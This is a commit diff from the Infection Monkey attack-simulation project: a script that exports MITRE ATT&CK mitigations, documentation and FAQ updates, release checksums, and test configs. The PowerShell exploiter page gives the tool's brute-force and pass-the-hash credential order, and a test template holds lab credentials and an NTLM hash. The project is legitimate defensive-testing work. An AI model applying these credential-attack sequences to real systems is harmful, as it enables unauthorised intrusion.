COLLECTION_NAME = "attack_mitigations"
def main():
args = parse_args()
set_default_mongo_connection(args.database_name, args.mongo_host, args.mongo_port)
mongo_client = pymongo.MongoClient(host=args.mongo_host, port=args.mongo_port)
database = mongo_client.get_database(args.database_name)
clean_collection(database)
populate_attack_mitigations(database, Path(args.cti_repo))
dump_attack_mitigations(database, Path(args.cti_repo), Path(args.dump_file_path))
def parse_args():
parser = argparse.ArgumentParser(
description="Export attack mitigations from a database",
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
)
parser.add_argument(
"--mongo_host", default="localhost", help="URL for mongo database.", required=False
)
parser.add_argument(
"--mongo-port",
action="store",
default=27017,
type=int,
help="Port for mongo database.",
required=False,
)
parser.add_argument(
"--database-name",
action="store",
default="monkeyisland",
help="Database name inside of mongo.",
required=False,
)
parser.add_argument(
"--cti-repo",
action="store",
default="attack_mitigations",
help="The path to the Cyber Threat Intelligence Repository.",
required=True,
)
parser.add_argument(
"--dump-file-path",
action="store",
default="./attack_mitigations.json",
help="A file path where the database dump will be saved.",
required=False,
)
return parser.parse_args()
def set_default_mongo_connection(database_name: str, host: str, port: int):
mongoengine.connect(db=database_name, host=host, port=port)
def clean_collection(database: pymongo.database.Database):
if collection_exists(database, COLLECTION_NAME):
database.drop_collection(COLLECTION_NAME)
def collection_exists(database: pymongo.database.Database, collection_name: str) -> bool:
return collection_name in database.list_collection_names()
def populate_attack_mitigations(database: pymongo.database.Database, cti_repo: Path):
database.create_collection(COLLECTION_NAME)
attack_data_path = cti_repo / "enterprise-attack"
stix2_mitigations = get_all_mitigations(attack_data_path)
mongo_mitigations = AttackMitigations.dict_from_stix2_attack_patterns(
get_all_attack_techniques(attack_data_path)
)
mitigation_technique_relationships = get_technique_and_mitigation_relationships(
attack_data_path
)
for relationship in mitigation_technique_relationships:
mongo_mitigations[relationship["target_ref"]].add_mitigation(
stix2_mitigations[relationship["source_ref"]]
)
for relationship in mitigation_technique_relationships:
mongo_mitigations[relationship["target_ref"]].add_no_mitigations_info(
stix2_mitigations[relationship["source_ref"]]
)
for key, mongo_object in mongo_mitigations.items():
mongo_object.save()
def get_all_mitigations(attack_data_path: Path) -> Dict[str, CourseOfAction]:
file_system = FileSystemSource(attack_data_path)
mitigation_filter = [Filter("type", "=", "course-of-action")]
all_mitigations = file_system.query(mitigation_filter)
all_mitigations = {mitigation["id"]: mitigation for mitigation in all_mitigations}
return all_mitigations
def get_all_attack_techniques(attack_data_path: Path) -> Dict[str, AttackPattern]:
file_system = FileSystemSource(attack_data_path)
technique_filter = [Filter("type", "=", "attack-pattern")]
all_techniques = file_system.query(technique_filter)
all_techniques = {technique["id"]: technique for technique in all_techniques}
return all_techniques
def get_technique_and_mitigation_relationships(attack_data_path: Path) -> List[CourseOfAction]:
file_system = FileSystemSource(attack_data_path)
technique_filter = [
Filter("type", "=", "relationship"),
Filter("relationship_type", "=", "mitigates"),
]
all_techniques = file_system.query(technique_filter)
return all_techniques
def dump_attack_mitigations(
database: pymongo.database.Database, cti_repo: Path, dump_file_path: Path
):
if not collection_exists(database, COLLECTION_NAME):
raise Exception(f"Could not find collection: {COLLECTION_NAME}")
metadata = get_metadata(cti_repo)
data = get_data_from_database(database)
json_output = f'{{"metadata":{json.dumps(metadata)},"data":{json_util.dumps(data)}}}'
with open(dump_file_path, "wb") as jsonfile:
jsonfile.write(json_output.encode())
def get_metadata(cti_repo: Path) -> dict:
timestamp = str(time.time())
commit_hash = get_commit_hash(cti_repo)
origin_url = get_origin_url(cti_repo)
return {"timestamp": timestamp, "commit_hash": commit_hash, "origin_url": origin_url}
def get_commit_hash(cti_repo: Path) -> str:
return run_command(["git", "rev-parse", "--short", "HEAD"], cti_repo).strip()
def get_origin_url(cti_repo: Path) -> str:
return run_command(["git", "remote", "get-url", "origin"], cti_repo).strip()
def run_command(cmd: List, cwd: Path = None) -> str:
cp = subprocess.run(cmd, capture_output=True, cwd=cwd, encoding="utf-8")
if cp.returncode != 0:
raise Exception(
f"Error running command -- Command: {cmd} -- Return Code: {cp.returncode} -- stderr: "
f"{cp.stderr}"
)
return cp.stdout
def get_data_from_database(database: pymongo.database.Database) -> pymongo.cursor.Cursor:
collection = database.get_collection(COLLECTION_NAME)
collection_contents = collection.find()
return collection_contents
if __name__ == "__main__":
main()

View File

@ -0,0 +1,13 @@
antlr4-python3-runtime==4.8
certifi==2021.5.30
charset-normalizer==2.0.6
idna==3.2
mongoengine==0.23.1
pymongo==3.12.0
pytz==2021.1
requests==2.26.0
simplejson==3.17.5
six==1.16.0
stix2==3.0.1
stix2-patterns==1.3.2
urllib3==1.26.7

View File

@ -8,8 +8,10 @@ pre: "<i class='fas fa-question'></i> "
Below are some of the most common questions we receive about the Infection Monkey. If the answer you're looking for isn't here, talk with us [on our Slack channel](https://infectionmonkey.slack.com/join/shared_invite/enQtNDU5MjAxMjg1MjU1LWM0NjVmNWE2ZTMzYzAxOWJiYmMxMzU0NWU3NmUxYjcyNjk0YWY2MDkwODk4NGMyNDU4NzA4MDljOWNmZWViNDU), email us at [support@infectionmonkey.com](mailto:support@infectionmonkey.com) or [open an issue on GitHub](https://github.com/guardicore/monkey).
- [Where can I get the latest version of the Infection Monkey?](#where-can-i-get-the-latest-version-of-the-infection-monkey)
- [I updated to a new version of the Infection Monkey and I'm being asked to delete my existing data directory. Why?](#i-updated-to-a-new-version-of-the-infection-monkey-and-im-being-asked-to-delete-my-existing-data-directory-why)
- [How can I use an old data directory?](#how-can-i-use-an-old-data-directory)
- [How long does a single Infection Monkey agent run? Is there a time limit?](#how-long-does-a-single-infection-monkey-agent-run-is-there-a-time-limit)
- [Is the Infection Monkey a malware/virus?](#is-infection-monkey-a-malwarevirus)
- [Is the Infection Monkey a malware/virus?](#is-the-infection-monkey-a-malwarevirus)
- [Reset/enable the Monkey Island password](#resetenable-the-monkey-island-password)
- [Should I run the Infection Monkey continuously?](#should-i-run-the-infection-monkey-continuously)
- [Which queries does the Infection Monkey perform to the internet exactly?](#which-queries-does-the-infection-monkey-perform-to-the-internet-exactly)
@ -26,6 +28,7 @@ Below are some of the most common questions we receive about the Infection Monke
- [After I've set up Monkey Island, how can I execute the Infection Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-infection-monkey-agent)
- [How can I make the Infection Monkey agents propagate “deeper” into the network?](#how-can-i-make-the-infection-monkey-agent-propagate-deeper-into-the-network)
- [What if the report returns a blank screen?](#what-if-the-report-returns-a-blank-screen)
- [Can I limit how the Infection Monkey propagates through my network?](#can-i-limit-how-the-infection-monkey-propagates-through-my-network)
- [How can I get involved with the project?](#how-can-i-get-involved-with-the-project)
## Where can I get the latest version of the Infection Monkey?
@ -34,6 +37,24 @@ For the latest **stable** release, visit [our downloads page](https://www.guardi
If you want to see what has changed between versions, refer to the [releases page on GitHub](https://github.com/guardicore/monkey/releases). For the latest development version, visit the [develop version on GitHub](https://github.com/guardicore/monkey/tree/develop).
## I updated to a new version of the Infection Monkey and I'm being asked to delete my existing data directory. Why?
The [data directory]({{< ref "/reference/data_directory" >}}) contains the
Infection Monkey's database and other internal
data. For the new version of Infection Monkey to work flawlessly, a data
directory with a compatible structure needs to be set up.
If you would like to save the data gathered from the Monkey's previous runs,
you can make a backup of your [existing data directory]({{< ref
"/reference/data_directory" >}}) before deleting it.
## How can I use an old data directory?
To use the data stored in a data directory from an older version, reinstall the
version of the Monkey Island which matches your data directory's version. Then,
copy the backup of your old data directory to the [appropriate location]({{<
ref "/reference/data_directory" >}}).
## How long does a single Infection Monkey agent run? Is there a time limit?
The Infection Monkey agent shuts off either when it can't find new victims or it has exceeded the quota of victims as defined in the configuration.
@ -51,44 +72,92 @@ Monkey in the newly created folder.
## Reset/enable the Monkey Island password
{{% notice warning %}}
If you reset the credentials, the database will be cleared. Any findings of the Infection Monkey from previous runs will be lost. <br/><br/>
However, you can save the Monkey's existing configuration by logging in with your current credentials and clicking on the **Export config** button on the configuration page.
{{% /notice %}}
### On Windows and Linux (AppImage)
When you first access the Monkey Island server, you'll be prompted to create an account.
To reset the credentials or enable/disable the authentication,
edit the `server_config.json` file manually
(located in the [data directory](/reference/data_directory)).
To reset the credentials, edit the `server_config.json` file manually
(located in the [data directory]({{< ref "/reference/data_directory" >}})).
In order to reset the credentials, the following edits need to be made:
1. Delete the `user` field if one exists. It will look like this:
```json
{
...
"user": "username",
...
}
```
1. Delete the `password_hash` field if one exists. It will look like this:
```json
{
...
"password_hash": "$2b$12$d050I/MsR5.F5E15Sm7EkunmmwMkUKaZE0P0tJXG.M9tF.Kmkd342",
...
}
```
1. Delete the `user` field. It will look like this:
```json
{
...
"user": "username",
...
}
```
1. Delete the `password_hash` field. It will look like this:
```json
{
...
"password_hash": "$2b$12$d050I/MsR5.F5E15Sm7EkunmmwMkUKaZE0P0tJXG.M9tF.Kmkd342",
...
}
```
1. Set `server_config` to `password`. It should look like this:
```json
{
...
"environment": {
...
"server_config": "password",
...
},
...
}
```
Then, reset the Monkey Island process.
On Linux, use `sudo systemctl restart monkey-island.service`.
On Windows, restart the program.
Finally, go to the Monkey Island's URL and create a new account.
```json
{
...
"environment": {
...
"server_config": "password",
...
},
...
}
```
1. Restart the Monkey Island process:
* On Linux, simply kill the Monkey Island process and execute the AppImage.
* On Windows, restart the program.
1. Go to the Monkey Island's URL and create a new account.
If you are still unable to log into Monkey Island after following the above
steps, you can perform a complete factory reset by removing the entire [data
directory]({{< ref "/reference/data_directory" >}}) and then restarting the
Monkey Island process.
### On Docker
When you first access the Monkey Island server, you'll be prompted to create an account.
To reset the credentials, you'll need to perform a complete factory reset:
1. Kill the Monkey Island container:
```bash
sudo docker kill monkey-island
```
1. Kill the MongoDB container:
```bash
sudo docker kill monkey-mongo
```
1. Remove the MongoDB volume:
```bash
sudo docker volume rm db
```
1. Restart the MongoDB container:
```bash
sudo docker run \
--name monkey-mongo \
--network=host \
--volume db:/data/db \
--detach \
mongo:4.2
```
1. Restart the Monkey Island container
```bash
sudo docker run \
--name monkey-island \
--network=host \
guardicore/monkey-island:VERSION
```
1. Go to the Monkey Island's URL and create a new account.
## Should I run the Infection Monkey continuously?
@ -119,7 +188,7 @@ You can download the Monkey Island's log file directly from the UI. Click the "l
![How to download Monkey Island internal log file](/images/faq/download_log_monkey_island.png "How to download Monkey Island internal log file")
It can also be found as a local file on the Monkey Island server system in the specified
[data directory](/reference/data_directory).
[data directory]({{< ref "/reference/data_directory" >}}).
The log enables you to see which requests were requested from the server and extra logs from the backend logic. The log will contain entries like these:
@ -155,7 +224,7 @@ The logs contain information about the internals of the Infection Monkey agent's
### How do I change the log level of the Monkey Island logger?
The log level of the Monkey Island logger is set in the `log_level` field
in the `server_config.json` file (located in the [data directory](/reference/data_directory)).
in the `server_config.json` file (located in the [data directory]({{< ref "/reference/data_directory" >}})).
Make sure to leave everything else in `server_config.json` unchanged:
```json
@ -225,6 +294,58 @@ This is sometimes caused when Monkey Island is installed with an old version of
- **Linux**: First, uninstall the current version with `sudo apt uninstall mongodb` and then install the latest version using the [official MongoDB manual](https://docs.mongodb.com/manual/administration/install-community/).
- **Windows**: First, remove the MongoDB binaries from the `monkey\monkey_island\bin\mongodb` folder. Download and install the latest version of MongoDB using the [official MongoDB manual](https://docs.mongodb.com/manual/administration/install-community/). After installation is complete, copy the files from the `C:\Program Files\MongoDB\Server\4.2\bin` folder to the `monkey\monkey_island\bin\mongodb folder`. Try to run the Monkey Island again and everything should work.
## Can I limit how the Infection Monkey propagates through my network?
Yes! To limit how the Infection Monkey propagates through your network, you can:
#### Adjust the scan depth
The scan depth limits the number of hops that the Infection Monkey agent will
spread from patient zero. If you set the scan depth to one, the agent will only
reach a single hop from the initially infected machine. Scan depth does not
limit the number of devices, just the number of hops.
- **Example**: In this example, the scan depth is set to two. _Host A_ scans the
network and finds hosts _B, C, D_ and _E_. The Infection Monkey agent
successfully propagates from _Host A_ to _Host C_. Since the scan depth is 2,
the agent will pivot from _Host C_ and continue to scan other machines on the
network. However, if _Host C_ successfully breaches _Host E_, it will not pivot
further nor continue to scan or propagate.
![What is scan depth](/images/faq/propagation_depth_diagram.png "What is scan
depth")
#### Enable or disable scanning the local subnet
You can find the settings that define how the Infection Monkey will scan your
network in `Configuration -> Network`. Each agent will scan its entire local
subnet by default, but you can disable this behavior by unchecking the `Local
network scan` button.
#### Add IPs to the IP allow list
You can specify which hosts you want the Infection Monkey agents to attempt to
scan in the `Configuration -> Network -> Scan target list` section.
#### Add IPs to the IP block list
If there are any hosts on your network that you would like to prevent the
Infection Monkey from scanning or exploiting, you can add them to the list of
"Blocked IPs" in `Configuration -> Network -> Blocked IPs`.
#### Specify max number of victims to find/exploit
Two settings in `Configuration -> Internal -> Monkey` allow you to further
limit the Infection Monkey's propagation:
- **Max victims to find**: This limits the total number of machines that the
Infection Monkey is allowed to scan.
- **Max victims to exploit**: This limits the total number of machines that the
Infection Monkey is allowed to successfully exploit.
## How can I get involved with the project?
Infection Monkey is an open-source project, and we welcome contributions and contributors. Check out the [contribution documentation]({{< ref "/development" >}}) for more information.

View File

@ -39,9 +39,9 @@ class MyNewPba(PBA):
#### Implementation
If your PBA consists only of simple shell commands, you can reuse the generic PBA by passing the commands into the constructor. See the `add_user.py` PBA for reference.
If your PBA consists only of simple shell commands, you can reuse the generic PBA by passing the commands into the constructor. See the `account_discovery.py` PBA for reference.
Otherwise, you'll need to override the `run` method with your own implementation. See the `communicate_as_new_user.py` PBA for reference. Make sure to send the relevant PostBreachTelem upon success/failure. You can log during the PBA as well.
Otherwise, you'll need to override the `run` method with your own implementation. See the `communicate_as_backdoor_user.py` PBA for reference. Make sure to send the relevant PostBreachTelem upon success/failure. You can log during the PBA as well.
### Modify the Monkey Island
@ -73,4 +73,4 @@ Now you can choose your PBA when configuring the Infection Monkey on the Monkey
#### Telemetry processing
If you wish to process your PBA telemetry (for example, to analyze it for report data), add a processing function to the `POST_BREACH_TELEMETRY_PROCESSING_FUNCS`, which can be found at `monkey/monkey_island/cc/services/telemetry/processing/post_breach.py`. You can reference the `process_communicate_as_new_user_telemetry` method as an example.
If you wish to process your PBA telemetry (for example, to analyze it for report data), add a processing function to the `POST_BREACH_TELEMETRY_PROCESSING_FUNCS`, which can be found at `monkey/monkey_island/cc/services/telemetry/processing/post_breach.py`. You can reference the `process_communicate_as_backdoor_user_telemetry` method as an example.

View File

@ -0,0 +1,39 @@
---
title: "MITRE ATT&CK Mitigations"
date: 2021-09-30T08:18:37+03:00
draft: true
weight: 10
---
{{% notice info %}}
Check out [the documentation for the MITRE ATT&CK techniques as well]({{< ref "/reports/mitre" >}}).
{{% /notice %}}
## Summary
Attack Mitigations are presented in MITRE ATT&CK report. They appear next to
descriptions of attack techniques and suggest steps that can be taken to reduce
the risk of that particular technique being successful in a network. They also
provide links for further reading on https://attack.mitre.org/
The Infection Monkey is shipped with pre-processed information about MITRE
ATT&CK mitigations located at
`monkey/monkey_island/cc/setup/mongo/attack_mitigations.json`. This may need to
be periodically updated as the MITRE ATT&CK framework evolves.
## Updating the MITRE ATT&CK mitigations data
1. Clone the [MITRE Cyber Threat Intelligence
Repository](https://github.com/mitre/cti) or the [Guardicore
fork](https://github.com/guardicore/cti):
```
$ CTI_REPO=$PWD/cti
$ git clone <REPO> $CTI_REPO
```
2. Start a MongoDB v4.2 server.
3. Run the script to generate the `attack_mitigations.json` file:
```
$ cd monkey/deployment_scripts/dump_attack_mitigations
$ pip install -r requirements.txt
$ python dump_attack_mitigations.py --cti-repo $CTI_REPO --dump-file-path ../../monkey/monkey_island/cc/setup/mongo/attack_mitigations.json
```

View File

@ -16,3 +16,30 @@ configuration files, etc.
On Linux, the default path is `$HOME/.monkey_island`.
On Windows, the default path is `%AppData%\monkey_island`.
## How do I configure the location of the data directory on Linux?
The location of the data directory is set in the `data_dir` field in the
`server_config.json` file.
1. Create a custom `server_config.json` file and set the `data_dir` field. Its
contents will look like:
```json
{
"log_level": "DEBUG",
"environment": {
"server_config": "password"
},
"mongodb": {
"start_mongodb": true
},
"data_dir": "<PATH_TO_DATA_DIR>"
}
```
1. Start the Infection Monkey with the `--server-config` parameter.
```bash
$ InfectionMonkey-VERSION.AppImage --server-config <PATH_TO_SERVER_CONFIG>
```

View File

@ -0,0 +1,66 @@
---
title: "PowerShell"
date: 2021-08-24T12:19:21+03:00
draft: false
tags: ["exploit", "windows"]
---
### Description
This exploiter uses brute-force to propagate to a victim through PowerShell
Remoting using Windows Remote Management (WinRM).
See Microsoft's documentation for more on [PowerShell Remoting
Protocol](https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.1)
and [Windows Remote
Management](https://docs.microsoft.com/en-us/windows/win32/winrm/portal).
##### Credentials used
The PowerShell exploiter can be run from both Linux and Windows attackers. On
Windows attackers, the exploiter has the ability to use the cached username
and/or password from the current user. On both Linux and Windows attackers, the
exploiter uses all combinations of the [user-configured usernames and
passwords]({{< ref "/usage/configuration/basic-credentials" >}}), as well as
and LM or NT hashes that have been collected. Different combinations of
credentials are attempted in the following order:
1. **Cached username and password (Windows attacker only)** - The exploiter will
use the stored credentials of the current user to attempt to log into the
victim machine.
1. **Brute force usernames with blank passwords** - Windows allows you to
configure a user with a blank/empty password. The exploiter will attempt to
log into the victim machine using each username set in the
[configuration]({{< ref "/usage/configuration/basic-credentials" >}}) with a
blank password.
In order for the attacker to connect with a blank password, the victim must
have enabled basic authentication, http and no encryption.
1. **Brute force usernames with cached password (Windows attacker only)** - The
exploiter will attempt to log into the victim machine using each username
set in the [configuration]({{< ref "/usage/configuration/basic-credentials"
>}}) and the current user's cached password.
1. **Brute force usernames and passwords** - The exploiter will attempt to use
all combinations of usernames and passwords that were set in the
[configuration.]({{< ref "/usage/configuration/basic-credentials" >}})
1. **Brute force usernames and LM hashes** - The exploiter will attempt to use
all combinations of usernames that were set in the [configuration]({{< ref
"/usage/configuration/basic-credentials" >}}) and LM hashes that were
collected from any other victims.
1. **Brute force usernames and NT hashes** - The exploiter will attempt to use
all combinations of usernames that were set in the [configuration]({{< ref
"/usage/configuration/basic-credentials" >}}) and NT hashes that were
collected from any other victims.
#### Securing PowerShell Remoting
Information about how to remediate security concerns related to PowerShell
Remoting can be found
[here](https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.1).

View File

@ -10,7 +10,7 @@ The Zerologon exploiter exploits [CVE-2020-1472](https://cve.mitre.org/cgi-bin/c
### Description
An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC).
An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC). The Zerologon exploiter takes advantage of this vulnerability to steal credentials from the domain controller. This allows the Infection Monkey to propagate to the machine using one of the brute force exploiters (for example, the SMB Exploiter).
To download the relevant security update and read more, click [here](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472).

View File

@ -18,7 +18,6 @@ In the following table, we list all the MITRE ATT&CK techniques the Infection Mo
| TACTIC | TECHNIQUES |
|--- |--- |
| [Execution](https://attack.mitre.org/tactics/TA0002/) | [Command-line Interface](https://attack.mitre.org/techniques/T1059/) |
| | [Execution Through Module Load](https://attack.mitre.org/techniques/T1129/) |
| | [Execution Through API](https://attack.mitre.org/techniques/T1106/) |
| | [Powershell](https://attack.mitre.org/techniques/T1086/) |
| | [Scripting](https://attack.mitre.org/techniques/T1064/) |

View File

@ -11,8 +11,6 @@ tags: ["usage", "password"]
The first time you launch Monkey Island (the Infection Monkey C&C server), you'll be prompted to create an account and secure your island. After account creation, the server will only be accessible via the credentials you entered.
If you want an island to be accessible without credentials, press *I want anyone to access the island*. Please note that this option is insecure, and you should only use it in development environments.
## Resetting your account credentials
This procedure is documented in [the FAQ]({{< ref "/faq/#how-do-i-reset-the-monkey-island-password" >}}).

View File

@ -23,16 +23,20 @@ The Infection Monkey Docker container works on Linux only. It is not compatible
1. Extract the Monkey Island Docker tarball:
```bash
tar -xvzf monkey-island-docker.tar.gz
tar -xvzf InfectionMonkey-docker-v1.12.0.tgz
```
1. Load the Monkey Island Docker image:
```bash
sudo docker load -i dk.monkeyisland.VERSION.tar
sudo docker load -i InfectionMonkey-docker-v1.12.0.tar
```
### 2. Start MongoDB
{{% notice info %}}
If you are upgrading the Infection Monkey to a new version, be sure to remove
any MongoDB containers or volumes associated with the previous version.
{{% /notice %}}
1. Start a MongoDB Docker container:
@ -56,16 +60,22 @@ been signed by a private certificate authority.
1. Run the Monkey Island server
```bash
sudo docker run \
--tty \
--interactive \
--name monkey-island \
--network=host \
guardicore/monkey-island:VERSION
```
### 3b. Start Monkey Island with user-provided certificate
{{% notice info %}}
If you are upgrading the Infection Monkey to a new version, be sure to remove
any volumes associated with the previous version.
{{% /notice %}}
1. Create a directory named `monkey_island_data`. This will serve as the
location where Infection Monkey stores its configuration and runtime
artifacts.
1. Create a directory named `monkey_island_data`. If you already have it,
**make sure it's empty**. This will serve as the location where Infection
Monkey stores its configuration and runtime artifacts.
```bash
mkdir ./monkey_island_data
@ -118,6 +128,8 @@ been signed by a private certificate authority.
```bash
sudo docker run \
--tty \
--interactive \
--name monkey-island \
--network=host \
--user "$(id -u ${USER}):$(id -g ${USER})" \
@ -132,8 +144,9 @@ After the Monkey Island docker container starts, you can access Monkey Island by
## Upgrading
Currently, there's no "upgrade-in-place" option when a new version is released.
To get an updated version, download it, stop the current container and run the
installation commands again with the new file.
To get an updated version, download it, stop and remove the current Monkey
Island and MongoDB containers and volumes, and run the installation commands
again with the new file.
If you'd like to keep your existing configuration, you can export it to a file
using the *Export config* button and then import it to the new Monkey Island.

View File

@ -23,19 +23,29 @@ installed, but the ones that we've tested are:
- Ubuntu Focal 20.04
- Ubuntu Hirsute 21.04
On Windows, AppImage can be run in WSL.
## Deployment
1. Make the AppImage package executable:
```bash
chmod u+x Infection_Monkey_v1.11.0.AppImage
chmod u+x InfectionMonkey-v1.12.0.AppImage
```
1. Start Monkey Island by running the Infection Monkey AppImage package:
```bash
./Infection_Monkey_v1.11.0.AppImage
./InfectionMonkey-v1.12.0.AppImage
```
1. Access the Monkey Island web UI by pointing your browser at
`https://localhost:5000`.
{{% notice info %}}
If you're prompted to delete your data directory and you're not sure what to
do, see the [FAQ]({{< ref
"/faq/#i-updated-to-a-new-version-of-the-infection-monkey-and-im-being-asked-to-delete-my-existing-data-directory-why"
>}}) for more information.
{{% /notice %}}
### Start Monkey Island with user-provided certificate
By default, Infection Monkey comes with a [self-signed SSL
@ -49,7 +59,7 @@ private certificate authority.
`server_config.json` file.
```bash
./Infection_Monkey_v1.11.0.AppImage --setup-only
./InfectionMonkey-v1.12.0.AppImage --setup-only
```
1. (Optional but recommended) Move your `.crt` and `.key` files to
@ -85,7 +95,7 @@ private certificate authority.
1. Start Monkey Island by running the Infection Monkey AppImage package:
```bash
./Infection_Monkey_v1.11.0.AppImage
./InfectionMonkey-v1.12.0.AppImage
```
1. Access the Monkey Island web UI by pointing your browser at

View File

@ -10,7 +10,7 @@ tags: ["setup", "windows"]
## Deployment
{{% notice tip %}}
Don't get scared if the Infection Monkey gets [flagged as malware during the installation](/faq/#is-infection-monkey-a-malwarevirus).
Don't get scared if the Infection Monkey gets [flagged as malware during the installation](/faq/#is-the-infection-monkey-a-malwarevirus).
{{% /notice %}}
After running the installer, the following prompt should appear on the screen:
@ -20,6 +20,13 @@ After running the installer, the following prompt should appear on the screen:
1. Follow the steps to complete the installation.
1. Run the Monkey Island by clicking on the desktop shortcut.
{{% notice info %}}
If you're prompted to delete your data directory and you're not sure what to
do, see the [FAQ]({{< ref
"/faq/#i-updated-to-a-new-version-of-the-infection-monkey-and-im-being-asked-to-delete-my-existing-data-directory-why"
>}}) for more information.
{{% /notice %}}
### Start Monkey Island with user-provided certificate
By default, Infection Monkey comes with a [self-signed SSL certificate](https://aboutssl.org/what-is-self-sign-certificate/). In
@ -53,6 +60,9 @@ private certificate authority.
```
1. Run the Monkey Island by clicking on the desktop shortcut.
1. Access the Monkey Island web UI by pointing your browser at
`https://localhost:5000`.
## Troubleshooting
### Support

View File

@ -35,6 +35,19 @@ $ sha256sum monkey-linux-64
## Latest version checksums
| Filename | Type | Version | SHA256 |
|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------|
| monkey-windows-64.exe | Windows Agent | 1.12.0 | `02e5e051a96e2ca61ae8e661b3a5828ee53a0fc00aca6502d5c73a46754f0d07` |
| monkey-windows-32.exe | Windows Agent | 1.12.0 | `3c10f610f47c4fd227cf85f6bf800d66ed31fe37dc2e2ed408860483685ba504` |
| monkey-linux-64 | Linux Agent | 1.12.0 | `1ad52eabd704a9b0fbf642fa552629f30d3c5c27e431a687bd4cba4e0104d3f7` |
| monkey-linux-32 | Linux Agent | 1.12.0 | `d941943046db48cf0eb7f11e144a79749848ae6b50014833c5390936e829f6c3` |
| InfectionMonkey-v1.12.0.AppImage | Linux Package | 1.12.0 | `1325f2aa1d0c27aec2e2f9864ed53c53c524bd208313f87ea6606f59c90ff310` |
| InfectionMonkey-docker-v1.12.0.tgz | Docker | 1.12.0 | `dcaf669411d55ea6883920597af4a35f3735a286801e08b6ef047cc91ff32769` |
| InfectionMonkey-v1.12.0.exe | Windows Installer | 1.12.0 | `4d6e0373be3615a4b97721a07d2a854f6316d1ce8c4ff6d6495aac3a8f2c6a69` |
## Older checksums
| Filename | Type | Version | SHA256 |
|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------|
| monkey-windows-64.exe | Windows Agent | 1.11.0 | `12c55377381a8fc7d8ff731db52302ef2f8bb894d8712769e5a91a140ba22b0a` |
@ -44,12 +57,6 @@ $ sha256sum monkey-linux-64
| Infection_Monkey-1.11.0-x86_64.AppImage | Linux Package | 1.11.0 | `6312b6bff18c11c7db694f42cf5a41e894786c39e3e093b6b15abcbff80337f2` |
| infection_monkey_docker_20210811_211212.tgz | Docker | 1.11.0 | `40f203387cadd153f97c6a21dfdddacd4d4eeea334a9300d862bfb4ba528e2e6` |
| Monkey Island v1.11.0_3789.exe | Windows Installer | 1.11.0 | `20633c1993ea5f86b57b3a48d6875e8f72881f856f4713d747f07a559da05ccc` |
## Older checksums
| Filename | Type | Version | SHA256 |
|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------|
| monkey-windows-64.exe | Windows Agent | 1.10.0 | `3b499a4cf1a67a33a91c73b05884e4d6749e990e444fa1d2a3281af4db833fa1` |
| monkey-windows-32.exe | Windows Agent | 1.10.0 | `8e891e90b11b97fbbef27f1408c1fcad486b19c612773f2d6a9edac5d4cdb47f` |
| monkey-linux-64 | Linux Agent | 1.10.0 | `932f703510b6484c3824fc797f90f99722e38a7f8956cf6fa58fdecb3790ab93` |

View File

@ -0,0 +1 @@
<a href="{{ .Destination | safeURL }}"{{ with .Title}} title="{{ . }}"{{ end }}>{{ .Text | safeHTML }}{{ if strings.HasPrefix .Destination "http" }}<span style="white-space: nowrap;">&nbsp;<svg style="height: 0.7em; width: 0.7em;" focusable="false" data-prefix="fas" data-icon="external-link-alt" class="svg-inline--fa fa-external-link-alt fa-w-16" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><title>external link</title><path fill="currentColor" d="M432,320H400a16,16,0,0,0-16,16V448H64V128H208a16,16,0,0,0,16-16V80a16,16,0,0,0-16-16H48A48,48,0,0,0,0,112V464a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V336A16,16,0,0,0,432,320ZM488,0h-128c-21.37,0-32.05,25.91-17,41l35.73,35.73L135,320.37a24,24,0,0,0,0,34L157.67,377a24,24,0,0,0,34,0L435.28,133.32,471,169c15,15,41,4.5,41-17V24A24,24,0,0,0,488,0Z"></path></svg></span>{{ end }}</a>

View File

@ -74,7 +74,7 @@
</a>
</div>
<div class="col-lg-3 col-sm-6 mb-3">
<a href="usage/scenarios" class="px-4 py-5 bg-white shadow text-center d-block">
<a href="usage/scenarios/" class="px-4 py-5 bg-white shadow text-center d-block">
<i class="fas fa-map-marked-alt d-block mb-4" style="font-size: x-large;"></i>
<h4 class="mb-3 mt-0">Scenarios</h4>
<p class="mb-0">Learn about scenarios of the Infection Monkey.</p>

Binary file not shown.

After

Width:  |  Height:  |  Size: 170 KiB

View File

@ -15,5 +15,4 @@ class BaseTemplate(ConfigTemplate):
],
"monkey.post_breach.post_breach_actions": [],
"internal.general.keep_tunnel_open_time": 0,
"internal.monkey.internet_services": [],
}

View File

@ -24,6 +24,7 @@ class Performance(ConfigTemplate):
"HadoopExploiter",
"VSFTPDExploiter",
"MSSQLExploiter",
"PowerShellExploiter",
"ZerologonExploiter",
],
"basic_network.network_analysis.inaccessible_subnets": [

View File

@ -0,0 +1,31 @@
from copy import copy
from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate
from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate
class PowerShell(ConfigTemplate):
config_values = copy(BaseTemplate.config_values)
# TODO: Remove .\\ from exploit user list when DC name is added,
# for more context see https://github.com/guardicore/monkey/issues/1486
config_values.update(
{
"basic.exploiters.exploiter_classes": ["PowerShellExploiter"],
"basic_network.scope.subnet_scan_list": [
"10.2.3.45",
"10.2.3.46",
"10.2.3.47",
"10.2.3.48",
],
"basic.credentials.exploit_password_list": ["Passw0rd!"],
"basic_network.scope.depth": 2,
"basic.credentials.exploit_user_list": ["m0nk3y", "m0nk3y-user"],
"internal.classes.finger_classes": ["PingScanner"],
"internal.network.tcp_scanner.HTTP_PORTS": [],
"internal.network.tcp_scanner.tcp_target_ports": [],
"internal.exploits.exploit_ntlm_hash_list": [
"d0f0132b308a0c4e5d1029cc06f48692",
],
}
)

View File

